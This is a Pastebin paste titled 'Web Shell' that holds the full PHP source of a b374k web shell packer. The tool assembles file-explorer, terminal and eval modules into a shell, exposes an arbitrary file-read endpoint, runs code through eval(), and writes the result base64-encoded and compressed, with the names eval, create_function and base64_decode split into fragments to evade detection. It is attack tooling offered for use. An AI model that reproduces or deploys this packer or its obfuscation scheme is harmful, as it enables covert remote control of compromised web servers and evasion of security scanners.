Derek1018

Web Shell

Jul 13th, 2017
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 18.33 KB | None | 0 0
  1. <?php
  2. $GLOBALS['packer']['title'] = "Derek's Shell Packer | Version:";
  3. $GLOBALS['packer']['version'] = "3.2.3";
  4. $GLOBALS['packer']['base_dir'] = "./base/";
  5. $GLOBALS['packer']['module_dir'] = "./module/";
  6. $GLOBALS['packer']['theme_dir'] = "./theme/";
  7. $GLOBALS['packer']['module'] = packer_get_module();
  8. $GLOBALS['packer']['theme'] = packer_get_theme();
  9.  
  10. require $GLOBALS['packer']['base_dir'].'jsPacker.php';
  11.  
  12. /* PHP FILES START */
  13. $base_code = "";
  14. $base_code .= packer_read_file($GLOBALS['packer']['base_dir']."resources.php");
  15. $base_code .= packer_read_file($GLOBALS['packer']['base_dir']."main.php");
  16. $module_code = packer_read_file($GLOBALS['packer']['base_dir']."base.php");
  17. /* PHP FILES END */
  18.  
  19. /* JAVASCRIPT AND CSS FILES START */
  20. $zepto_code = packer_read_file($GLOBALS['packer']['base_dir']."zepto.js");
  21. $js_main_code = "\n\n".packer_read_file($GLOBALS['packer']['base_dir']."main.js");
  22.  
  23. $js_code = "\n\n".packer_read_file($GLOBALS['packer']['base_dir']."sortable.js").$js_main_code;
  24. $js_code .= "\n\n".packer_read_file($GLOBALS['packer']['base_dir']."base.js");
  25.  
  26.  
  27. if(isset($_COOKIE['packer_theme'])) $theme = $_COOKIE['packer_theme'];
  28. else $theme ="default";
  29. $css_code = packer_read_file($GLOBALS['packer']['theme_dir'].$theme.".css");
  30.  
  31. /* JAVASCRIPT AND CSS FILES END */
  32.  
  33. // layout
  34. $layout = packer_read_file($GLOBALS['packer']['base_dir']."layout.php");
  35. $p = array_map("rawurldecode", packer_get_post());
  36.  
  37. if(isset($_SERVER['REMOTE_ADDR'])){
  38.     if(isset($p['read_file'])){
  39.         $file = $p['read_file'];
  40.         if(is_file($file)){
  41.             packer_output(packer_html_safe(packer_read_file($file)));
  42.         }
  43.         packer_output('error');
  44.     }
  45.     elseif(isset($_GET['run'])){
  46.         if(empty($_GET['run'])) $modules = array();
  47.         else $modules = explode("," ,$_GET['run']);
  48.         $module_arr = array_merge(array("explorer", "terminal", "eval"), $modules);
  49.  
  50.         $module_arr = array_map("packer_wrap_with_quote", $module_arr);
  51.         $module_init = "\n\$GLOBALS['module_to_load'] = array(".implode(", ", $module_arr).");";
  52.  
  53.         foreach($modules as $module){
  54.             $module = trim($module);
  55.             $filename = $GLOBALS['packer']['module_dir'].$module;
  56.             if(is_file($filename.".php")) $module_code .= packer_read_file($filename.".php");
  57.             if(is_file($filename.".js")) $js_code .= "\n".packer_read_file($filename.".js")."\n";
  58.  
  59.         }
  60.  
  61.         $layout = str_replace("<__CSS__>", $css_code, $layout);
  62.         $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout);
  63.         $layout = str_replace("<__JS__>", $js_code, $layout);
  64.  
  65.         $content = trim($module_init)."?>".$base_code.$module_code.$layout;
  66.         eval($content);
  67.         die();
  68.     }
  69.     elseif(isset($p['outputfile'])&&isset($p['password'])&&isset($p['module'])&&isset($p['strip'])&&isset($p['base64'])&&isset($p['compress'])&&isset($p['compress_level'])){
  70.         $outputfile = trim($p['outputfile']);
  71.         if(empty($outputfile)) $outputfile = '';
  72.         $password = trim($p['password']);
  73.         $modules = trim($p['module']);
  74.         if(empty($modules)) $modules = array();
  75.         else $modules = explode("," ,$modules);
  76.  
  77.         $strip = trim($p['strip']);
  78.         $base64 = trim($p['base64']);
  79.         $compress = trim($p['compress']);
  80.         $compress_level = (int) $p['compress_level'];
  81.  
  82.         $module_arr = array_merge(array("explorer", "terminal", "eval"), $modules);
  83.  
  84.         $module_arr = array_map("packer_wrap_with_quote", $module_arr);
  85.         $module_init = "\n\$GLOBALS['module_to_load'] = array(".implode(", ", $module_arr).");";
  86.  
  87.         foreach($modules as $module){
  88.             $module = trim($module);
  89.             $filename = $GLOBALS['packer']['module_dir'].$module;
  90.             if(is_file($filename.".php")) $module_code .= packer_read_file($filename.".php");
  91.             if(is_file($filename.".js")) $js_code .= "\n".packer_read_file($filename.".js")."\n";
  92.  
  93.         }
  94.  
  95.         $layout = str_replace("<__CSS__>", $css_code, $layout);
  96.         $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout);
  97.        
  98.         if($strip=='yes') $js_code = packer_pack_js($js_code);
  99.         $layout = str_replace("<__JS__>", $js_code, $layout);
  100.  
  101.  
  102.         $htmlcode = trim($layout);
  103.         $phpcode = "<?php ".trim($module_init)."?>".trim($base_code).trim($module_code);
  104.  
  105.         packer_output(packer_b374k($outputfile, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password));
  106.     }
  107.     else{
  108.    
  109.     $available_themes = "<tr><td>Theme</td><td><select class='theme' style='width:150px;'>";
  110.     foreach($GLOBALS['packer']['theme'] as $k){
  111.         if($k==$theme) $available_themes .= "<option selected='selected'>".$k."</option>";
  112.         else $available_themes .= "<option>".$k."</option>";
  113.     }
  114.     $available_themes .= "</select></td></tr>";
  115.  
  116.     ?><!doctype html>
  117.     <html>
  118.     <head>
  119.     <title><?php echo $GLOBALS['packer']['title']." ".$GLOBALS['packer']['version'];?></title>
  120.     <meta charset='utf-8'>
  121.     <meta name='robots' content='noindex, nofollow, noarchive'>
  122.     <style type="text/css">
  123.     <?php echo $css_code;?>
  124.     #devTitle{
  125.         font-size:18px;
  126.         text-align:center;
  127.         font-weight:bold;
  128.     }
  129.     </style>
  130.     </head>
  131.     <body>
  132.  
  133.     <div id='wrapper' style='padding:12px'>
  134.         <div id='devTitle' class='border'><?php echo $GLOBALS['packer']['title']." ".$GLOBALS['packer']['version'];?></div>
  135.         <br>
  136.         <table class='boxtbl'>
  137.             <tr><th colspan='2'><p class='boxtitle'>Quick Run</p></th></tr>
  138.             <tr><td style='width:220px;'>Module (separated by comma)</td><td><input type='text' id='module' value='<?php echo implode(",", $GLOBALS['packer']['module']);?>'></td></tr>
  139.             <?php echo $available_themes; ?>
  140.             <tr><td colspan='2'>
  141.                 <form method='get' id='runForm' target='_blank'><input type='hidden' id='module_to_run' name='run' value=''>
  142.                 <span class='button' id='runGo'>Run</span>
  143.                 </form>
  144.             </td></tr>
  145.         </table>
  146.         <br>
  147.         <table class='boxtbl'>
  148.             <tr><th colspan='2'><p class='boxtitle'>Pack</p></th></tr>
  149.             <tr><td style='width:220px;'>Output</td><td><input id='outputfile' type='text' value=''></td></tr>
  150.             <tr><td>Password</td><td><input id='password' type='text' value=''></td></tr>
  151.             <tr><td>Module (separated by comma)</td><td><input type='text' id='module_to_pack' value='<?php echo implode(",", $GLOBALS['packer']['module']);?>'></td></tr>
  152.             <?php echo $available_themes; ?>
  153.             <tr><td>Strip Comments and Whitespaces</td><td>
  154.                 <select id='strip' style='width:150px;'>
  155.                     <option selected="selected">yes</option>
  156.                     <option>no</option>
  157.                 </select>
  158.             </td></tr>
  159.  
  160.             <tr><td>Base64 Encode</td><td>
  161.                 <select id='base64' style='width:150px;'>
  162.                     <option selected="selected">yes</option>
  163.                     <option>no</option>
  164.                 </select>
  165.             </td></tr>
  166.  
  167.             <tr id='compress_row'><td>Compress</td><td>
  168.                 <select id='compress' style='width:150px;'>
  169.                     <option>no</option>
  170.                     <option selected="selected">gzdeflate</option>
  171.                     <option>gzencode</option>
  172.                     <option>gzcompress</option>
  173.                 </select>
  174.                 <select id='compress_level' style='width:150px;'>
  175.                     <option>1</option>
  176.                     <option>2</option>
  177.                     <option>3</option>
  178.                     <option>4</option>
  179.                     <option>5</option>
  180.                     <option>6</option>
  181.                     <option>7</option>
  182.                     <option>8</option>
  183.                     <option selected="selected">9</option>
  184.                 </select>
  185.             </td></tr>
  186.  
  187.             <tr><td colspan='2'>
  188.                 <span class='button' id='packGo'>Pack</span>
  189.             </td></tr>
  190.             <tr><td colspan='2' id='result'></td></tr>
  191.             <tr><td colspan='2'><textarea id='resultContent'></textarea></td></tr>
  192.         </table>
  193.     </div>
  194.  
  195.     <script type='text/javascript'>
  196.     var init_shell = false;
  197.     <?php echo $zepto_code;?>
  198.     <?php echo $js_main_code;?>
  199.  
  200.     var targeturl = '<?php echo packer_get_self(); ?>';
  201.     var debug = false;
  202.  
  203.     Zepto(function($){
  204.         refresh_row();
  205.  
  206.         $('#runGo').on('click', function(e){
  207.             module = $('#module').val();
  208.             $('#module_to_run').val(module);
  209.             $('#runForm').submit();
  210.         });
  211.  
  212.         $('#base64').on('change', function(e){
  213.             refresh_row();
  214.         });
  215.  
  216.         $('#packGo').on('click', function(e){
  217.             outputfile = $('#outputfile').val();
  218.             password = $('#password').val();
  219.             module = $('#module_to_pack').val();
  220.             strip = $('#strip').val();
  221.             base64 = $('#base64').val();
  222.             compress = $('#compress').val();
  223.             compress_level = $('#compress_level').val();
  224.  
  225.             send_post({outputfile:outputfile, password:password, module:module, strip:strip, base64:base64, compress:compress, compress_level:compress_level}, function(res){
  226.                 splits = res.split('{[|b374k|]}');
  227.                 $('#resultContent').html(splits[1]);
  228.                 $('#result').html(splits[0]);
  229.             });
  230.  
  231.         });
  232.        
  233.         $('.theme').on('change', function(e){
  234.             $('.theme').val($(this).val());
  235.             set_cookie('packer_theme', $('.theme').val());
  236.             location.href = targeturl;
  237.         });
  238.     });
  239.  
  240.     function refresh_row(){
  241.         base64 = $('#base64').val();
  242.         if(base64=='yes'){
  243.             $('#compress_row').show();
  244.         }
  245.         else{
  246.             $('#compress_row').hide();
  247.             $('#compress').val('no');
  248.         }
  249.     }
  250.  
  251.     </script>
  252.     </body>
  253.     </html><?php
  254.     }
  255. }
  256. else{
  257.     $output = $GLOBALS['packer']['title']." ".$GLOBALS['packer']['version']."\n\n";
  258.  
  259.     if(count($argv)<=1){
  260.         $output .= "options :\n";
  261.         $output .= "\t-o filename\t\t\t\tsave as filename\n";
  262.         $output .= "\t-p password\t\t\t\tprotect with password\n";
  263.         $output .= "\t-t theme\t\t\t\ttheme to use\n";
  264.         $output .= "\t-m modules\t\t\t\tmodules to pack separated by comma\n";
  265.         $output .= "\t-s\t\t\t\t\tstrip comments and whitespaces\n";
  266.         $output .= "\t-b\t\t\t\t\tencode with base64\n";
  267.         $output .= "\t-z [no|gzdeflate|gzencode|gzcompress]\tcompression (use only with -b)\n";
  268.         $output .= "\t-c [0-9]\t\t\t\tlevel of compression\n";
  269.         $output .= "\t-l\t\t\t\t\tlist available modules\n";
  270.         $output .= "\t-k\t\t\t\t\tlist available themes\n";
  271.  
  272.     }
  273.     else{
  274.         $opt = getopt("o:p:t:m:sbz:c:lk");
  275.  
  276.         if(isset($opt['l'])){
  277.             $output .= "available modules : ".implode(",", $GLOBALS['packer']['module'])."\n\n";
  278.             echo $output;
  279.             die();
  280.         }
  281.        
  282.         if(isset($opt['k'])){
  283.             $output .= "available themes : ".implode(",", $GLOBALS['packer']['theme'])."\n\n";
  284.             echo $output;
  285.             die();
  286.         }
  287.  
  288.         if(isset($opt['o'])&&(trim($opt['o'])!='')){
  289.             $outputfile = trim($opt['o']);
  290.         }
  291.         else{
  292.             $output .= "error : no filename given (use -o filename)\n\n";
  293.             echo $output;
  294.             die();
  295.         }
  296.  
  297.         $password = isset($opt['p'])? trim($opt['p']):"";
  298.         $theme = isset($opt['t'])? trim($opt['t']):"default";
  299.         if(!in_array($theme, $GLOBALS['packer']['theme'])){
  300.             $output .= "error : unknown theme file\n\n";
  301.             echo $output;
  302.             die();
  303.         }
  304.         $css_code = packer_read_file($GLOBALS['packer']['theme_dir'].$theme.".css");
  305.        
  306.         $modules = isset($opt['m'])? trim($opt['m']):implode(",", $GLOBALS['packer']['module']);
  307.         if(empty($modules)) $modules = array();
  308.         else $modules = explode("," ,$modules);
  309.  
  310.         $strip = isset($opt['s'])? "yes":"no";
  311.         $base64 = isset($opt['b'])? "yes":"no";
  312.  
  313.         $compress = isset($opt['z'])? trim($opt['z']):"no";
  314.         if(($compress!='gzdeflate')&&($compress!='gzencode')&&($compress!='gzcompress')&&($compress!='no')){
  315.             $output .= "error : unknown options -z ".$compress."\n\n";
  316.             echo $output;
  317.             die();
  318.         }
  319.         else{
  320.             if(($base64=='no')&&($compress!='no')){
  321.                 $output .= "error : use -z options only with -b\n\n";
  322.                 echo $output;
  323.                 die();
  324.             }
  325.         }
  326.  
  327.         $compress_level = isset($opt['c'])? trim($opt['c']):"";
  328.         if(empty($compress_level)) $compress_level = '9';
  329.         if(!preg_match("/^[0-9]{1}$/", $compress_level)){
  330.             $output .= "error : unknown options -c ".$compress_level." (use only 0-9)\n\n";
  331.             echo $output;
  332.             die();
  333.         }
  334.         $compress_level = (int) $compress_level;
  335.  
  336.         $output .= "Filename\t\t: ".$outputfile."\n";
  337.         $output .= "Password\t\t: ".$password."\n";
  338.         $output .= "Theme\t\t\t: ".$theme."\n";
  339.         $output .= "Modules\t\t\t: ".implode(",",$modules)."\n";
  340.         $output .= "Strip\t\t\t: ".$strip."\n";
  341.         $output .= "Base64\t\t\t: ".$base64."\n";
  342.         if($base64=='yes') $output .= "Compression\t\t: ".$compress."\n";
  343.         if($base64=='yes') $output .= "Compression level\t: ".$compress_level."\n";
  344.  
  345.         $module_arr = array_merge(array("explorer", "terminal", "eval"), $modules);
  346.         $module_arr = array_map("packer_wrap_with_quote", $module_arr);
  347.         $module_init = "\n\$GLOBALS['module_to_load'] = array(".implode(", ", $module_arr).");";
  348.  
  349.         foreach($modules as $module){
  350.             $module = trim($module);
  351.             $filename = $GLOBALS['packer']['module_dir'].$module;
  352.             if(is_file($filename.".php")) $module_code .= packer_read_file($filename.".php");
  353.             if(is_file($filename.".js")) $js_code .= "\n".packer_read_file($filename.".js")."\n";
  354.         }
  355.  
  356.         $layout = str_replace("<__CSS__>", $css_code, $layout);
  357.         $layout = str_replace("<__ZEPTO__>", $zepto_code, $layout);
  358.        
  359.         if($strip=='yes') $js_code = packer_pack_js($js_code);
  360.         $layout = str_replace("<__JS__>", $js_code, $layout);
  361.  
  362.         $htmlcode = trim($layout);
  363.         $phpcode = "<?php ".trim($module_init)."?>".trim($base_code).trim($module_code);
  364.  
  365.         $res = packer_b374k($outputfile, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password);
  366.         $status = explode("{[|b374k|]}", $res);
  367.         $output .= "Result\t\t\t: ".strip_tags($status[0])."\n\n";
  368.     }
  369.     echo $output;
  370. }
  371.  
  372. function packer_read_file($file){
  373.     $content = false;
  374.     if($fh = @fopen($file, "rb")){
  375.         $content = "";
  376.         while(!feof($fh)){
  377.           $content .= fread($fh, 8192);
  378.         }
  379.     }
  380.     return $content;
  381. }
  382.  
  383. function packer_write_file($file, $content){
  384.     if($fh = @fopen($file, "wb")){
  385.         if(fwrite($fh, $content)!==false){
  386.             if(!class_exists("ZipArchive")) return true;
  387.            
  388.             if(file_exists($file.".zip")) unlink ($file.".zip");
  389.             $zip = new ZipArchive();
  390.             $filename = "./".$file.".zip";
  391.  
  392.             if($zip->open($filename, ZipArchive::CREATE)!==TRUE) return false;
  393.             $zip->addFile($file);
  394.             $zip->close();
  395.             return true;
  396.         }
  397.     }
  398.     return false;
  399. }
  400.  
  401. function packer_get_post(){
  402.     return packer_fix_magic_quote($_POST);
  403. }
  404.  
  405. function packer_fix_magic_quote($arr){
  406.     $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
  407.     if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
  408.         if(is_array($arr)){
  409.             foreach($arr as $k=>$v){
  410.                 if(is_array($v)) $arr[$k] = clean($v);
  411.                 else $arr[$k] = (empty($quotes_sybase) || $quotes_sybase === 'off')? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v));
  412.             }
  413.         }
  414.     }
  415.     return $arr;
  416. }
  417.  
  418. function packer_html_safe($str){
  419.     return htmlspecialchars($str, 2 | 1);
  420. }
  421.  
  422. function packer_wrap_with_quote($str){
  423.     return "\"".$str."\"";
  424. }
  425.  
  426. function packer_output($str){
  427.     header("Content-Type: text/plain");
  428.     header("Cache-Control: no-cache");
  429.     header("Pragma: no-cache");
  430.     echo $str;
  431.     die();
  432. }
  433.  
  434. function packer_get_self(){
  435.     $query = (isset($_SERVER["QUERY_STRING"])&&(!empty($_SERVER["QUERY_STRING"])))?"?".$_SERVER["QUERY_STRING"]:"";
  436.     return packer_html_safe($_SERVER["REQUEST_URI"].$query);
  437. }
  438.  
  439. function packer_strips($str){
  440.     $newStr = '';
  441.  
  442.     $commentTokens = array(T_COMMENT);
  443.  
  444.     if(defined('T_DOC_COMMENT')) $commentTokens[] = T_DOC_COMMENT;
  445.     if(defined('T_ML_COMMENT')) $commentTokens[] = T_ML_COMMENT;
  446.  
  447.     $tokens = token_get_all($str);
  448.  
  449.     foreach($tokens as $token){
  450.         if (is_array($token)) {
  451.             if (in_array($token[0], $commentTokens)) continue;
  452.             $token = $token[1];
  453.         }
  454.     $newStr .= $token;
  455.     }
  456.     $newStr = preg_replace("/(\s{2,})/", " ", $newStr);
  457.     return $newStr;
  458. }
  459.  
  460. function packer_get_theme(){
  461.     $available_themes = array();
  462.     foreach(glob($GLOBALS['packer']['theme_dir']."*.css") as $filename){
  463.         $filename = basename($filename, ".css");
  464.         $available_themes[] = $filename;
  465.     }
  466.     return $available_themes;
  467. }
  468.  
  469. function packer_get_module(){
  470.     $available_modules = array();
  471.     foreach(glob($GLOBALS['packer']['module_dir']."*.php") as $filename){
  472.         $filename = basename($filename, ".php");
  473.         if(packer_check_module($filename)) $available_modules[] = $filename;
  474.     }
  475.     return $available_modules;
  476. }
  477.  
  478. function packer_check_module($module){
  479.     $filename = $GLOBALS['packer']['module_dir'].$module;
  480.     if(is_file($filename.".php")){
  481.         $content = packer_read_file($filename.".php");
  482.         @eval("?>".$content);
  483.         if($GLOBALS['module'][$module]['id']==$module) return true;
  484.     }
  485.     return false;
  486. }
  487.  
  488. function packer_pack_js($str){
  489.     $packer = new JavaScriptPacker($str, 0, true, false);
  490.     return $packer->pack();
  491. }
  492.  
  493. function packer_b374k($output, $phpcode, $htmlcode, $strip, $base64, $compress, $compress_level, $password){
  494.     $content = "";
  495.     if(is_file($output)){
  496.         if(!is_writable($output)) return "error : file ".$output." exists and is not writable{[|b374k|]}";
  497.     }
  498.  
  499.     if(!empty($password)) $password = "\$GLOBALS['pass'] = \"".sha1(md5($password))."\"; // sha1(md5(pass))\n";
  500.  
  501.     $compress_level = (int) $compress_level;
  502.     if($compress_level<0) $compress_level = 0;
  503.     elseif($compress_level>9) $compress_level = 9;
  504.  
  505.     $version = "";
  506.     if(preg_match("/\\\$GLOBALS\['ver'\]\ *=\ *[\"']+([^\"']+)[\"']+/", $phpcode, $r)){
  507.         $version = $r[1];
  508.     }
  509.    
  510.     $header = "<?php
  511. /*
  512.     b374k shell ".$version."
  513.     Jayalah Indonesiaku
  514.     (c)".@date("Y",time())."
  515.     https://github.com/b374k/b374k
  516.  
  517. */\n";
  518.  
  519.  
  520.     if($strip=='yes'){
  521.         $phpcode = packer_strips($phpcode);
  522.         $htmlcode = preg_replace("/(\ {2,}|\n{2,}|\t+)/", "", $htmlcode);
  523.         $htmlcode = preg_replace("/\r/", "", $htmlcode);
  524.         $htmlcode = preg_replace("/}\n+/", "}", $htmlcode);
  525.         $htmlcode = preg_replace("/\n+}/", "}", $htmlcode);
  526.         $htmlcode = preg_replace("/\n+{/", "{", $htmlcode);
  527.         $htmlcode = preg_replace("/\n+/", "\n", $htmlcode);
  528.     }
  529.  
  530.  
  531.     $content = $phpcode.$htmlcode;
  532.  
  533.     if($compress=='gzdeflate'){
  534.         $content = gzdeflate($content, $compress_level);
  535.         $encoder_func = "gz'.'in'.'fla'.'te";
  536.     }
  537.     elseif($compress=='gzencode'){
  538.         $content = gzencode($content, $compress_level);
  539.         $encoder_func = "gz'.'de'.'co'.'de";
  540.     }
  541.     elseif($compress=='gzcompress'){
  542.         $content = gzcompress($content, $compress_level);
  543.         $encoder_func = "gz'.'un'.'com'.'pre'.'ss";
  544.     }
  545.     else{
  546.         $encoder_func = "";
  547.     }
  548.  
  549.     if($base64=='yes'){
  550.         $content = base64_encode($content);
  551.         if($compress!='no'){
  552.             $encoder = $encoder_func."(ba'.'se'.'64'.'_de'.'co'.'de(\$x))";
  553.         }
  554.         else{
  555.             $encoder = "ba'.'se'.'64'.'_de'.'co'.'de(\"\$x\")";
  556.         }
  557.  
  558.         $code = $header.$password."\$func=\"cr\".\"eat\".\"e_fun\".\"cti\".\"on\";\$b374k=\$func('\$x','ev'.'al'.'(\"?>\".".$encoder.");');\$b374k(\"".$content."\");?>";
  559.     }
  560.     else{
  561.         if($compress!='no'){
  562.             $encoder = $encoder_func."(\$x)";
  563.         }
  564.         else{
  565.             $code = $header.$password."?>".$content;
  566.             $code = preg_replace("/\?>\s*<\?php\s*/", "", $code);
  567.         }
  568.     }
  569.  
  570.     if(is_file($output)) unlink($output);
  571.     if(packer_write_file($output, $code)){
  572.         chmod($output, 0777);
  573.         return "Succeeded : <a href='".$output."' target='_blank'>[ ".$output." ] Filesize : ".filesize($output)."</a>{[|b374k|]}".packer_html_safe(trim($code));
  574.     }
  575.     return "error{[|b374k|]}";
  576. }
  577.  
  578. ?>
Advertisement
Add Comment
Please, Sign In to add comment